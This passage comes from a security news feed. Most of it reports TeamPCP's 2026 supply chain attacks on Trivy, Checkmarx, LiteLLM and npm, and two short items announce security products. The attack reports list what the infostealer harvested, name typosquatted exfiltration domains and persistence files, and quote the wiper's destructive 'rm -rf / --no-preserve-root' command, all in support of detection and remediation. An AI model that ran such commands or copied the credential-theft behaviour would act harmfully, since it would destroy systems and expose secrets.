confirmed Vect ransomware deployment using TeamPCP-sourced credentials. TeamPCP’s rapid evolution TeamPCP emerged in 2024 and focused on targeting and compromising misconfigured Docker APIs, Kubernetes clusters, Ray dashboards, and Redis servers to steal credentials and deploy cryptominers. In 2025, they started building their capacity for automated supply chain attacks. “In late 2025 they deployed CanisterWorm, a self-propagating worm that used ICP Canister nodes as decentralized, censorship-resistant C2 infrastructure — the first observed use of this technique in the wild. In early 2026, destructive payloads with geotargeting logic appeared, combining credential theft with region-specific destruction,” says the OpenSourceMalware team. “The March 2026 campaign represents the culmination: a cascading chain through five vendor ecosystems seeded by a single retained credential [from a previous Trivy compromise].” They demonstrated their adaptibility even during these latest supply chain attacks. “In just eight days, the actor has pivoted across security scanners, AI infrastructure, and now telecommunications tooling evolving their delivery from inline Base64 to .pth auto-execution, and ultimately to split-file WAV steganography, while also expanding from Linux-only to dual-platform targeting with Windows persistence,” Trend Micro researchers noted in the wake of the Telnyx compromise. Hartman also documented another of the group’s innovative techniques: the use of the GitHub Releases API as a fallback data exfiltration channel during a supply chain compromise. TeamPCP’s attacks ripple through dependencies Hartman pointed out that TeamPCP’s pause in supply chain compromises should not be interpreted as the end of the group’s supply chain operations. “TeamPCP explicitly stated they intend to be ‘around for a long time,’ and stolen credentials from the estimated 300 GB trove could enable future package compromises at any time. The absence of new compromises may also reflect improved vigilance by package registries – PyPI has quarantined two TeamPCP campaigns in rapid succession, which may be raising the attacker’s cost of operations on that platform.” Open-source maintainers must realize that TeamPCP is an eminently capable attack group and should take steps to secure their projects. “This incident also exposes the absolute stupidity of blindly updating to the latest package versions. The obsession with using the newest patch the second it drops is a massive vulnerability,” Trend Micro researchers also opined. “If your CI/CD pipeline automatically pulls the newest release without a quarantine period, you are automating your own breach. Pin your dependencies to cryptographic hashes. Let someone else’s infrastructure test the newest release for supply chain malware first.” GitGuardian reseachers have analyzed how TeamPHP’s supply chain attacks spread through dependencies and automation pipelines, and found that: 474 public repositories executed malicious code from the compromised trivy-action (CI/CD component) 1,750 Python (PyPI) packages were set up in a way that would automatically pull the poisoned LiteLLM versions Those numbers are not definitive – i.e., they are likely bigger – because they did not (could not) analyze private GitHub repositories, and they limited their search to Python packages with direct dependency of LiteLLM. “The package could have been included through a longer dependency chain. Looking for the exact digest of the malicious packages is the only way to determine if the dependency was downloaded on a given machine,” they pointed out, and shared the malicious packages’ SHA256 digests for organizations to use when investigating. Subscribe to our breaking news e-mail alert to never miss out on the latest breaches, vulnerabilities and cybersecurity threats. Subscribe here!
helpnetsecurity.comMar 30, 2026extracted
ShipSec Studio brings open-source workflow orchestration to security operations
ShipSec Studio brings open-source workflow orchestration to security operations Security teams have long relied on a mix of shell scripts, cron jobs, and loosely connected tools to chain reconnaissance and vulnerability scanning work together. ShipSec Studio, an open-source security workflow automation platform from ShipSec AI, aims to replace that arrangement with a dedicated orchestration layer built specifically for security operations. What the platform does ShipSec Studio provides a visual, no-code workflow builder that lets operators connect security tools into automated pipelines without writing glue code. The builder compiles those visual graphs into an executable domain-specific language that a separate worker runtime then executes. The platform ships with native support for a set of commonly used security tools. On the reconnaissance side, it integrates Subfinder, DNSX, Naabu, and HTTPx for subdomain discovery and service enumeration. For vulnerability and secret detection work, it includes Nuclei and TruffleHog. Beyond tool execution, the platform includes several orchestration-level features that distinguish it from a straightforward task scheduler. Workflows support a human-in-the-loop pause mechanism that halts execution and waits for operator approval, form input, or manual validation before proceeding. Operators can also embed LLM nodes into workflows to run AI-assisted analysis on tool output, with support for MCP providers as a standardized integration layer. Native CRON scheduling handles recurring scans. A REST API exposes workflow triggering and monitoring for external integration. Architecture The platform separates concerns across three planes. A NestJS-based management plane handles workflow compilation, secrets management using AES-256-GCM encryption, and identity. An orchestration plane built on Temporal.io manages workflow state, concurrency, and persistent wait states, providing durability across failures and restarts. A stateless worker plane pulls tasks from Temporal and executes them inside ephemeral containers with per-run volume isolation. A real-time telemetry pipeline delivers terminal output, events, and logs over server-sent events. The infrastructure stack includes PostgreSQL, MinIO, Redis, Loki, and Redpanda for messaging. The frontend is built on React 19, ReactFlow for the visual canvas, and xterm.js for terminal rendering. MCP integration extends to a built-in library of servers. AWS CloudTrail, CloudWatch, and filesystem access ship out of the box. AI agents running within workflows can automatically discover and invoke MCP tools through a standardized discovery mechanism. Deployment Teams can run the platform entirely on their own infrastructure. A one-line installer handles dependency checks, Docker configuration, and service startup. The project also documents a self-hosted Docker path suited for teams with data residency requirements or air-gapped environments. Development documentation covers multi-instance setups that allow engineers to run parallel isolated environments on a single machine, each with its own database and Temporal namespace. ShipSec Studio is available for free on GitHub. Must read: 40 open-source tools redefining how security teams secure the stack Firmware scanning time, cost, and where teams run EMBA Subscribe to the Help Net Security ad-free monthly newsletter to stay informed on the essential open-source cybersecurity tools. Subscribe here!
helpnetsecurity.comMar 30, 2026extracted
Trojanization of Trivy, Checkmarx, and LiteLLM solutions | Kaspersky official blog
Millions of automated software development pipelines rely on security tools — such as Trivy and Checkmarx AST — integrated into the build process. And it was namely these trusted solutions that recently became the entry point for one of the largest and most dangerous supply chain attacks in modern history. In this post we discuss how to audit automated workflows and secure corporate cloud infrastructure. Timeline of the attack and known consequences On March 19, a successful targeted supply chain attack was carried out via Trivy, an open-source vulnerability scanning tool widely used in CI/CD pipelines. The attackers — a group known as TeamPCP — managed to inject malware into official GitHub Actions workflows and Docker images associated with Trivy. As a result, every automated pipeline scan made triggered malware that stole SSH keys, cloud access tokens, cryptocurrency wallets, and other valuable data from compromised systems. Given the critical nature of the incident, it was assigned the identifier CVE-2026-33634, with a near-maximum CVSS4B score of 9.4. Later that same day, the Trivy team detected the attack and removed malicious artifacts from the distribution channels, halting this phase of the attack. However, the attackers had already gained access to the environments of many Trivy users. On March 23, a similar incident was discovered in another application security tool: a GitHub Action for Checkmarx KICS, as well as Checkmarx AST. Three hours later, the malicious code was removed from there as well. TeamPCP also managed to compromise OpenVSX extensions supported by Checkmarx: cx-dev-assist 1.7.0 and ast-results. Reports on when this part of the incident was resolved vary. On March 24, a popular project using Trivy’s code scanning — the LiteLLM AI gateway, a universal library for access to various LLM providers — was attacked. Versions 1.82.7 and 1.82.8, uploaded to PyPI repository, were compromised. These versions were publicly available for about five hours. But the fact that the attack lasted only a few hours is no reason to dismiss it. Given the popularity of the affected projects, the malicious code could have been executed thousands of times — including within the infrastructure of very large companies. This allowed attackers to deploy persistent backdoors in Kubernetes clusters, as well as launch the self-replicating CanisterWorm across the JavaScript npm ecosystem. The attackers’ code has destructive capabilities that wipe out a Kubernetes cluster and all its nodes if it detects either Tehran’s time zone, or Farsi as the primary language on the compromised system. In other regions, the malware simply steals data using CanisterWorm. According to experts, more than 20,000 repositories are considered potentially vulnerable. The attackers claim to have stolen hundreds of gigabytes of data and more than half a million accounts. How Trivy Was Attacked To compromise Trivy, the attackers used credentials stolen in a previous incident. The previous Trivy compromise, which occurred in late February, was likely not fully contained, and the attackers — the same TeamPCP group — returned with a new attack. Trivy’s developers, Aqua Security, speculate that because credentials were being phased out gradually following the previous incident, the attackers were able to generate new access tokens for themselves before compromised old ones had been revoked. As a result, TeamPCP was able to compromise GitHub Actions used in CI/CD pipelines. Using credentials with tag-writing privileges, the attackers forcibly overrode 76 out of 77 version tags in aquasecurity/trivy-action, and all seven tags in aquasecurity/setup-trivy, redirecting existing trusted versions to malicious commits. This resembles tactics observed in the Shai-Hulud 2.0 campaign. As a result, workflows throughout the pipeline began executing the attackers’ code, while the release metadata showed no visible changes. At the same time, the attackers published an infected Trivy binary (v0.69.4) to official distribution channels, including GitHub Releases and container registries. LiteLLM Compromise The compromise of the popular language-model access tool LiteLLM could itself trigger a major wave of attacks across the chain of projects that use it. The attack took place on March 24, 2026, when TeamPCP directly published malicious versions of the library (1.82.7 and 1.82.8) on PyPI. Between 10:39 UTC and 16:00 UTC, these compromised packages contained malware that stole credentials. It was embedded in the proxy_server.py file, and version 1.82.8 also contained a malicious litellm_init file. The stolen data was exfiltrated to the server models.litellm[.]cloud. Customers using LiteLLM Cloud or the official LiteLLM Proxy Docker image were not affected due to strict version locking, whereas developers and downstream projects that installed unpinned versions via pip during the specified time window were compromised. Within three hours, the malicious packages were removed from the PyPI repository, and the LiteLLM team suspended new releases, rotated credentials, and engaged an external incident response process. Teams that use LiteLLM in their projects are advised to immediately check for the litellm_init.pth compromise indicator, and routinely rotate all potentially compromised secrets. Features of the TeamPCP Cloud Stealer malware Attackers added new logic to GitHub Actions and the Trivy executable while preserving the original functionality. Vulnerability scan results via Trivy appeared normal, but at the same time valuable data was being searched for and extracted. Malicious code was doing the following: performing reconnaissance (collecting network data and environment variables); searching for tokens and credentials to access AWS and GCP cloud environments; scanning memory (/proc/*/mem) to extract secrets stored in the memory of Runner.Worker and Runner.Listener processes; extracting Kubernetes secrets (/run/secrets/kubernetes.io/serviceaccount); collecting data for connecting to database servers (MySQL, PostgreSQL, MongoDB, Redis, Vault); collecting any other API keys and secrets from environment files and CI/CD configuration files (.env, .json, .yml); searching for webhooks for Slack and Discord channels; searching for data related to crypto wallets (variables related to the Solana blockchain, as well as rpcuser and rpcpassword data). The collected data was encrypted and uploaded to a server with a name similar to the that of the Trivy’s developers (scan.aquasecurtiy[.]org). As a backup mechanism, the attackers provided a method for uploading data to a repository named docs-tpcp. The attack on CheckMarx and LiteLLM used a similar tactic with other typosquatting domains: models.litellm[.]cloud and checkmarx[.]zone. A detailed technical analysis of the malware, along with indicators of compromise, can be found in our expert’s article on the Securelist blog. Response and Defense Strategies for CVE-2026-33634 Existing signature-based checks and dependency scanning in public registries are no longer sufficient, as the malicious code was injected directly into trusted, signed actions, and evaded detection until behavioral monitoring was applied. CI/CD pipelines have become the “new perimeter” of security. Immediate Actions. Ensure that all workflows use secure versions (Trivy binary 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6). CI/CD pipeline administrators and security teams should immediately review their dependances to Checkmarx (kics-github-action, ast-github-action) and Trivy (setup-trivy and trivy-action) solutions. If workflows referenced a version tag rather than a specific SHA hash, carefully review your workflow execution logs for the duration of the active supply chain attack. You should also check your network logs for traffic to the domains scan.aquasecurtiy[.]org, checkmarx[.]zone, and models.litellm[.]cloud. The presence of such traffic indicates that sensitive data has been successfully exfiltrated. If a repository named docs-tpcp has appeared on organization’s GitHub, this may also indicate a successful data breach. In any case, a proactive threat hunt should be conducted, assuming that the systems have been successfully compromised and that the attackers have rapidly advanced within the affected systems. It’s recommended to restore the affected environments from verified backups. Check hosts and clusters for signs of compromise – the presence of ~/.config/sysmon/sysmon.py files, suspicious pods in Kubernetes. Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions. Dependency pinning and secret management. Ensure that exact dependency versions are pinned using cryptographic hashes in all pipelines and Dockerfiles. We advise transitioning from long-lived tokens to short-lived credentials by using a secrets manager tool, and implementing OIDC integrations where supported. Minimize the injection of secrets into the runtime environment — do so only when it’s absolutely necessary. Ensure that secrets are not stored on disk or in temporary files, and are not reused across different processes. Rotate all potentially compromised credentials – API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets. Other security measures. Allow only GitHub Actions from a list approved by the organization; block new and unverified processes. Configure GITHUB_TOKEN and other access keys in accordance with the principle of least privilege. Don’t grant write permissions unless absolutely necessary. To enhance the security of GitHub Actions, there are several open-source tools available: zizmor — a tool for static analysis and detection of configuration errors in GitHub Actions; gato and Gato-X — two versions of a tool that helps identify structurally vulnerable pipelines; allstar — a GitHub application, developed by OpenSSF, to configure and enforce security policies in GitHub organizations and repositories. If you want to learn more about supply chain attacks, we invite you to look at our analytical report Supply chain reaction: securing the global digital ecosystem in an age of interdependence. It’s based on insights from technical experts, and reveals how often organizations face supply chain and trusted relationship risks, where protection gaps remain, and what strategies to employ to improve resilience against these kinds of threats.
kaspersky.comMar 25, 2026extracted
From Trivy to Broad OSS Compromise: TeamPCP Hits Docker Hub, VS Code, PyPI
The TeamPCP hacking group has expanded its open source software campaign from the Trivy supply chain attack to NPM, Docker Hub, VS Code, and PyPI, and likely partnered with the Lapsus$ gang for monetization purposes. The attack on Aqua Security’s widely used Trivy vulnerability scanner started with the compromise of an access token in late February. Because the maintainers did not rotate all credentials and secrets simultaneously, the hackers were able to maintain access to the compromised environment. OpenSourceMalware reports with high confidence that the attackers compromised the Argon-DevOps-Mgt service account token, which provided them with write/admin access to both Aqua Security’s internal and public-facing repositories. The attack has been attributed to TeamPCP (also known as DeadCatx3, PCPcat, and ShellForce), which was behind a December worm-driven campaign that targeted Docker, Kubernetes, Ray, and Redis, and which also exploited the React2Shell vulnerability, according to Flare. In the Trivy supply chain attack, now tracked as CVE-2026-33634 (CVSS score of 9.4), the hackers released malicious package versions and modified GitHub Actions tags to push information-stealing malware that would harvest credentials, keys, tokens, and other sensitive data. In early March, a similar attack hit Xygeni: compromised credentials linked to repository automation were used to introduce malicious code. Initially, the attackers relied on pull requests, but when that failed, they modified a mutable tag to reference a malicious commit, leading to downstream infections. “While the attack leveraged a known GitHub Actions vulnerability involving mutable tags, the incident also highlights the importance of comprehensive repository protection, strict credential management, and defense-in-depth across CI/CD systems,” Xygeni notes in its incident report. The Trivy attack and blast radius TeamPCP started pushing malware to the Trivy repositories on March 19, but the multi-stage supply chain attack has been contained and is now in the remediation and documentation phase, Aqua said on Wednesday. However, it took five days to fully evict the attackers. Three days after the containment and remediation efforts started, the attackers published malicious Trivy Docker Hub images (v0.69.5 and v0.69.6), confirming that their access had not been blocked, Trivy’s maintainers revealed. “Working closely with Sygnia, we are developing formal documentation that includes the confirmed timeline, actions taken to remediate the incident, and supporting materials for customer assurance and attestation. This effort is informed by a comprehensive review of credentials, access controls, and affected systems,” Aqua says. What made the attack stand out was the use of modified GitHub Action tags to reference malware without any visible changes to the tag name, published dates, or the release page, allowing the attackers to operate under the radar. According to a SANS Institute report seen by SecurityWeek, more than 10,000 CI/CD workflows were affected by the Trivy incident. Every CI/CD pipeline referencing the modified GitHub Actions automatically executed the malicious code, dropping TeamPCP’s information stealer and exposing secrets, credentials, and infrastructure. To evade detection on the infected systems, malicious code contains instructions to remove all its temporary files after performing its multi-stage credential theft and exfiltration operation, CrowdStrike explains. “The remainder of the script is a functional copy of the real trivy-action entry point. It downloads and runs Trivy normally, producing expected scanner output. To an operator reviewing workflow logs, the step appears to have completed successfully,” the cybersecurity company notes. The Checkmarx attack On March 23, TeamPCP hit Checkmarx’s KICS open-source project, publishing malicious versions of the checkmarx.cx-dev-assist and checkmarx.ast-results VS Code plugins to the OpenVSX marketplace. Like the Trivy attack, the hackers injected malicious payloads into the plugins by force-pushing tags that were pointing to malicious commits. A total of 35 GitHub Action version tags were hijacked, SANS Institute says. Checkmarx has since updated GitHub Actions to ast-github-action v2.3.33 and kics-github-action v2.1.20 and permanently removed all previous versions from its repositories. The malicious plugin iterations, namely ast-results 2.53.0 and cx-dev-assist 1.7.0, should be immediately removed. “Upon discovery, we removed the malicious artifacts, pinned our workflows to safe verified commit SHAs, revoked and rotated all exposed credentials, blocked outbound access to the attacker-controlled domain, and reviewed our environments for any signs of further compromise,” Checkmarx says. The cybersecurity firm warns all organizations that downloaded or ran a compromised version of the two plugins from Open VSX to rotate all secrets and environment variables. GitHub credentials, Personal Access Tokens (PATs), repository and organization secrets, SSH keys, Docker registry credentials, Kubernetes service account tokens, and GitHub, Microsoft Azure, Google Cloud (GCP), and AWS access tokens should be considered compromised and immediately rotated. As ReversingLabs points out, the two VS Code extensions have a combined download count of over 36,000 and are designed for use within VS Code and compatible integrated development environments (IDEs), such as Cursor, Kiro, and Windsurf, making the attack’s blast radius large. CanisterWorm and the NPM attacks Last week, TeamPCP’s campaign also targeted the NPM ecosystem, using read/write access tokens to push malware downstream and using the same infostealer from the Trivy attack. The NPM supply chain attack hit at least 64 unique packages and affected more than 140 package artifacts, injecting install-time malware that relies on an Internet Computer Protocol (ICP) canister dead drop to deliver follow-on binaries. Dubbed CanisterWorm, the final payload contains a component that uses compromised NPM publishing credentials to inject the payload into additional packages. To evade detection, it preserves the legitimate README files, Socket explains. As the attack unfolded, the hackers were seen updating their code, moving from using a postinstall hook to write a Python payload, install it as a systemd –user service, and execute it, to using a hardcoded Python dropper and using the service name pgmon for persistence. According to Aikido, the malware was initially similar to the one used in the Trivy attack, but was later updated with the worm component that allowed it to use harvested NPM tokens and environment variables and spawn a persistent background process using them, to infect additional packages. “Every developer or CI pipeline that installs this package and has an NPM token accessible becomes an unwitting propagation vector. Their packages get infected, their downstream users install those, and if any of them have tokens, the cycle repeats,” Aikido notes. The Kubernetes wiper targeting Iran The same ICP canister used in the CanisterWorm attack on NPM was also used in a campaign targeting Kubernetes. The main difference was that the code included a wiper aimed at Iran-based clusters. The payload contains standard Kubernetes pod detection, deploys privileged DaemonSets across every node, and drops the CanisterWorm backdoor on them as a systemd service, achieving persistence as PostgreSQL tooling. In more recent iterations of the attack, the malware added network-based lateral movement, using SSH via compromised keys and auth log parsing, and exploiting exposed Docker APIs, Aikido reports. The code also checks the system timezone and locale and, if it detects machines configured for Iran, drops a DaemonSet to wipe the entire cluster. Dubbed “kamikaze”, the wiper mounts the host’s root filesystem, erases the top-level content, and then forces a reboot. The operation is performed on all nodes, including the control plane, destroying the entire cluster. “The Kubernetes-native lateral movement via DaemonSets is consistent with TeamPCP’s known playbook, but this variant adds something we haven’t seen from them before: a geopolitically targeted destructive payload aimed specifically at Iranian systems,” Aikido notes. On non-Kubernetes systems configured for Iran, if root access is available, the malware wipes everything. If it does not have root access, it “tries passwordless sudo, then tries anyway. Even without root, it’ll destroy everything the user owns,” Aikido notes. The PyPI attack and LiteLLM compromise In its most recent phase, TeamPCP’s campaign moved to the PyPI ecosystem, compromising LiteLLM, an open source Python library and proxy server that has more than 95 million monthly downloads. LiteLLM versions 1.82.7 and 1.82.8 were injected with the same information-stealing and dropper malware observed in the other TeamPCP attacks, with the same goal: the compromise of valuable credentials for broad access. The malicious code in LiteLLM 1.82.8 “fires on every Python invocation in the environment” and “runs silently in the background without delaying Python startup,” EndorLabs explains. Used as a unified interface between applications and AI service providers such as Anthropic, Google, and OpenAI, LiteLLM supports over 100 LLM APIs and typically has access to sensitive information such as API keys and environment variables. “Additionally, the breadth of data targeted by the malware underscores how modern development environments — spanning local machines, CI/CD pipelines, and cloud infrastructure — are deeply interconnected. A single compromised dependency can expose credentials across multiple systems, dramatically increasing the potential blast radius,” Sonatype notes. LiteLLM compromise has provided the attackers with access to all the secrets the library touches, and the impact from the attack is broad: approximately 300GB of data was exfiltrated from around 500,000 infected machines, threat intelligence and research project Vx-Underground says. ReversingLabs says that the hackers likely compromised the GitHub account of LiteLLM co-founder and CEO Krish Dholakia on March 23 and then defaced the LiteLLM GitHub repositories in an automated manner the next day. Organizations that installed or executed the malicious LiteLLM versions should immediately remove the packages, rotate all credentials, and investigate the affected systems for suspicious connections, persistence mechanisms, and potentially affected packages. According to cybersecurity outfit Wiz, LiteLLM is present in 36% of all cloud environments, providing hackers with a foothold in highly sensitive parts of the development lifecycle. “In many cases, rebuilding affected systems from a known clean state may be the safest course of action,” Sonatype notes. The Lapsus$ connection In addition to expanding across multiple OSS communities, TeamPCP’s campaign has escalated to a monetization phase. The group is openly taking credit for the attacks and appears to have partnered with the Lapsus$ extortion group for financial gain. TeamPCP has boasted on its Telegram account about the Trivy compromise, the GitHub Actions attacks, the OpenVSX extensions incident, and the PyPI hack, stating a clear focus on security tools and high-leverage points within the OSS ecosystem. The group also claims its operation is still unfolding, saying that it will be “stealing terabytes of trade secrets with our new partners”, Socket reports. While the ‘partners’ were not named, it appears that the hacking group was hinting at Lapsus$, which boasted on its Telegram account about an upcoming supply chain attack from TeamPCP. According to Wiz, this explicit collaboration between the two threat actors is an ecosystem-wide ‘cascade’ aimed at the modern cloud-native and AI ecosystems. “We are seeing a dangerous convergence between supply chain attackers and high-profile extortion groups like Lapsus$,” Wiz lead researcher Ben Read told SecurityWeek. “By moving horizontally across the ecosystem – hitting tools like LiteLLM that are present in over a third of cloud environments – they are creating a ‘snowball effect.’ This isn’t an isolated incident; it’s a systemic campaign that requires security teams to take action and will likely continue to expand,” Read added. The partnership between the two groups also appears to explain why some security researchers linked the AstraZeneca data breach to TeamPCP’s campaign, while Lapsus$ has claimed responsibility for it. Related: Polyfill Supply Chain Attack Impacting 100k Sites Linked to North Korea Related: New ‘Sandworm_Mode’ Supply Chain Attack Hits NPM Related: Autonomous AI Agents Provide New Class of Supply Chain Attack Related: ‘PackageGate’ Flaws Open JavaScript Ecosystem to Supply Chain Attacks
securityweek.comMar 25, 2026extracted
Detectify uncovers hidden assets and risks across entire IP ranges
Detectify uncovers hidden assets and risks across entire IP ranges Detectify has launched IP Range Scanning, enabling continuous discovery and monitoring of entire IP address blocks to help security teams identify forgotten assets and hidden risks before attackers exploit them. Many organizations are sitting on forgotten IP addresses that have become entry points for cyberattacks. While millions have been spent securing public-facing websites, legacy tools can miss large parts of the attack surface due to noise and stale data. Detectify’s research shows how serious this gap is: SSH appeared on non-standard ports nearly as often as on port 22, suggesting that teams that only check standard ports may miss a significant number of exposed services. Additionally, high-risk services such as Redis and MongoDB are often exposed on raw IP addresses without associated domains, leaving them invisible to many traditional tools. Detectify’s IP Range Scanning prioritizes high-fidelity discovery across large network segments, delivering greater accuracy and reducing blind spots. With this release, customers can benefit from: Onboarding entire CIDR blocks in seconds: Gain continuous visibility into the infrastructure behind their networks, from legacy systems to rapidly expanding environments. Identifying hidden services: Uncover everything from remote desktops and databases to web applications, powered by Protocol Discovery that goes beyond simple port detection. Bridging the gap to testing: When a web application is detected, Detectify automatically transitions to deep security testing. “Security teams have been trapped between fast but shallow mass-scanners and slow, legacy enterprise tools that produce too much noise,” says Rickard Carlsson, CEO of Detectify. “We’re ending that era of guesswork. If it’s on your network, we will find it and verify if it’s actually exploitable.” Scanning entire IP ranges, not just domains, gives organizations a more complete view of their exposed attack surface. Continuous discovery across those ranges helps teams identify forgotten or unmanaged assets early, improving visibility and reducing the risk that overlooked weaknesses will be exploited. “We don’t believe in half-measures. You either see your entire network, or you’re vulnerable. We’ve built the technology to bridge the gap between domain monitoring and the underlying IP infrastructure, because a blind spot is just a breach waiting to happen,” Carlsson concludes.
helpnetsecurity.comMar 24, 2026extracted
Trivy Hack Spreads Infostealer via Docker, Triggers Worm and Kubernetes Wiper
Cybersecurity researchers have uncovered malicious artifacts distributed via Docker Hub following the Trivy supply chain attack, highlighting the widening blast radius across developer environments. The last known clean release of Trivy on Docker Hub is 0.69.3. The malicious versions 0.69.4, 0.69.5, and 0.69.6 have since been removed from the container image library. "New image tags 0.69.5 and 0.69.6 were pushed on March 22 without corresponding GitHub releases or tags. Both images contain indicators of compromise associated with the same TeamPCP infostealer observed in earlier stages of this campaign," Socket security researcher Philipp Burckhardt said. The development comes in the wake a supply chain compromise of Trivy, a popular open-source vulnerability scanner maintained by Aqua Security, allowing the threat actors to leverage a compromised credential to push a credential stealer within trojanized versions of the tool and two related GitHub Actions "aquasecurity/trivy-action" and "aquasecurity/setup-trivy." The attack has had downstream impacts, with the attackers leveraging the stolen data to compromise dozens of npm packages to distribute a self-propagating worm known as CanisterWorm. The incident is believed to be the work of a threat actor tracked as TeamPCP. According to the OpenSourceMalware team, the attackers have defaced all 44 internal repositories associated with Aqua Security's "aquasec-com" GitHub organization by renaming each of them with a "tpcp-docs-" prefix, setting all descriptions to "TeamPCP Owns Aqua Security," and exposing them publicly. It's worth noting that the "aquasec-com" account is distinct from the cloud security vendor's other well-known GitHub organization account, "aquasecurity," which hosts the impacted Trivy scanner and GitHub Actions, along with various open-source projects. The newly compromised organization contains proprietary source code, including source code for Tracee, internal Trivy forks, CI/CD pipelines, Kubernetes operators, and team knowledge bases. All the repositories are said to have been modified in a scripted 2-minute burst between 20:31:07 UTC and 20:32:26 UTC on March 22, 2026. It's been assessed with high confidence that the threat actor leveraged a compromised "Argon-DevOps-Mgt" service account for this purpose. "Our forensic analysis of the GitHub Events API points to a compromised service account token — likely stolen during TeamPCP's prior Trivy GitHub Actions compromise — as the attack vector," security researcher Paul McCarty said. "This is a service/bot account (GitHub ID 139343333, created 2023-07-12) with a critical property: it bridges both GitHub orgs." "One compromised token for this account gives the attacker write/admin access to both organizations," McCarty added. The development is the latest escalation from a threat actor that's has built a reputation for targeting cloud infrastructures, while progressively building capabilities to systemically exposed Docker APIs, Kubernetes clusters, Ray dashboards, and Redis servers to steal data, deploy ransomware, conduct extortion, and mine cryptocurrency. Their growing sophistication is best exemplified by the emergence of a new wiper malware that spreads through CanisterWorm, as well as by exploiting SSH via stolen keys and exposed Docker APIs on port 2375 across the local subnet. The new "kamikaze" wiper attributed to TeamPCP has been found to go beyond credential theft to wiping entire Kubernetes (K8s) clusters located in Iran. The shell script uses the same ICP canister linked to CanisterWorm and then runs checks to identify Iranian systems. "On Kubernetes: deploys privileged DaemonSets across every node, including control plane," Aikido security researcher Charlie Eriksen said. "Iranian nodes get wiped and force-rebooted via a container named 'kamikaze.' Non-Iranian nodes get the CanisterWorm backdoor installed as a systemd service. Non-K8s Iranian hosts get 'rm -rf / --no-preserve-root.'" Eriksen told The Hacker News it's currently not known if TeamPCP is also behind the "hackerbot-claw" incident that led to the breach of Trivy earlier this month. Given the ongoing nature of the attack, it's imperative that organizations review their use of Trivy in CI/CD pipelines, avoid using affected versions, and treat any recent executions as potentially compromised. "This compromise demonstrates the long tail of supply chain attacks," OpenSourceMalware said. "A credential harvested during the Trivy GitHub Actions compromise months ago was weaponized today to deface an entire internal GitHub organization. The Argon-DevOps-Mgt service account — a single bot account bridging two orgs with a long-lived PAT — was the weak link." "From cloud exploitation to supply chain worms to Kubernetes wipers, they are building capability and targeting the security vendor ecosystem itself. The irony of a cloud security company being compromised by a cloud-native threat actor should not be lost on the industry. Update In a formal update shared on March 23, 2026, Aqua Security said its investigation is "actively focused on validating that all access paths have been identified and fully closed," adding there is no indication its commercial products were impacted by the incident. The attack is now being tracked under the CVE identifier CVE-2026-33634 (CVSS score: 9.4). "The mechanics here weren't novel. The attacker, with write access to the repository, force-pushed tags to a new commit containing a modified entry point and relied on the fact that most workflows reference actions by tag," CrowdStrike said. "For a defender, the takeaway is to pin your actions by committing SHA, monitor your CI/CD runners with the same rigor as production hosts, and treat any code that runs in your pipeline as code that runs in your infrastructure." (The story was updated after publication on March 25, 2026, with additional insights from Aikido.)
thehackernews.comMar 23, 2026extracted
Trivy vulnerability scanner breach pushed infostealer via GitHub Actions
The Trivy vulnerability scanner was compromised in a supply-chain attack by threat actors known as TeamPCP, which distributed credential-stealing malware through official releases and GitHub Actions. Trivy is a popular security scanner that helps identify vulnerabilities, misconfigurations, and exposed secrets across containers, Kubernetes environments, code repositories, and cloud infrastructure. Because developers and security teams commonly use it, it is a high-value target for attackers to steal sensitive authentication secrets. The breach was first disclosed by security researcher Paul McCarty, who warned that Trivy version 0.69.4 had been backdoored, with malicious container images and GitHub releases published to users. Further analysis by Socket and later by Wiz determined that the attack affected multiple GitHub Actions, compromising nearly all version tags of the trivy-action repository. Researchers found that threat actors compromised Trivy's GitHub build process, swapping the entrypoint.sh in GitHub Actions with a malicious version and publishing trojanized binaries in the Trivy v0.69.4 release, both of which acted as infostealers across the main scanner and related GitHub Actions, including trivy-action and setup-trivy. The attackers abused a compromised credential with write access to the repository, allowing them to publish malicious releases. These compromised credentials are from an earlier March breach, in which credentials were exfiltrated from Trivy's environment and not fully contained. The threat actor force-pushed 75 out of 76 tags in the aquasecurity/trivy-action repository, redirecting them to malicious commits. As a result, any external workflows using the affected tags automatically executed the malicious code before running legitimate Trivy scans, making the compromise difficult to detect. Socket reports that the infostealer collected reconnaissance data and scanned systems for a wide range of files and locations known to store credentials and authentication secrets, including: Reconnaissance data: hostname, whoami, uname, network configuration, and environment variables SSH: private and public keys and related configuration files Cloud and infrastructure configs: Git, AWS, GCP, Azure, Kubernetes, and Docker credentials Environment files: .env and related variants Database credentials: configuration files for PostgreSQL, MySQL/MariaDB, MongoDB, and Redis Credential files: including package manager and Vault-related authentication tokens CI/CD configurations: Terraform, Jenkins, GitLab CI, and similar files TLS private keys VPN configurations Webhooks: Slack and Discord tokens Shell history files System files: /etc/passwd, /etc/shadow, and authentication logs Cryptocurrency wallets The malicious script would also scan memory regions used by the GitHub Actions Runner.Worker process for the JSON string "" ":{ "value": " ", "isSecret":true}" to find additional authentication secrets. On developer machines, the trojanized Trivy binary performed similar data collection, gathering environment variables, scanning local files for credentials, and enumerating network interfaces. Collected data was encrypted and stored in an archive named tpcp.tar.gz, which was then exfiltrated to a typosquatted command-and-control server at scan.aquasecurtiy[.]org. If exfiltration failed, the malware created a public repository named tpcp-docs within the victim's GitHub account and uploaded the stolen data there. To persist on a compromised device, the malware would also drop a Python payload at ~/.config/systemd/user/sysmon.py and register it as a systemd service. This payload would check a remote server for additional payloads to drop, giving the threat actor persistent access to the device. The attack is believed to be linked to a threat actor known as TeamPCP, as one of the infostealer payloads used in the attack has a "TeamPCP Cloud stealer" comment as the last line of the Python script. "The malware self-identifies as TeamPCP Cloud stealer in a Python comment on the final line of the embedded filesystem credential harvester. TeamPCP, also tracked as DeadCatx3, PCPcat, and ShellForce, is a documented cloud-native threat actor known for exploiting misconfigured Docker APIs, Kubernetes clusters, Ray dashboards, and Redis servers," explains Socket. Aqua Security confirmed the incident, stating that a threat actor used compromised credentials from the earlier incident that was not properly contained. "This was a follow up from the recent incident (2026-03-01) which exfiltrated credentials. Our containment of the first incident was incomplete," explained Aqua Security. "We rotated secrets and tokens, but the process wasn't atomic and attackers may have been privy to refreshed tokens." The malicious Trivy release (v0.69.4) was live for approximately three hours, with compromised GitHub Actions tags remaining active for up to 12 hours. The attackers also tampered with the project’s repository, deleting Aqua Security’s initial disclosure of the earlier March incident. Organizations that used affected versions during the incident should treat their environments as fully 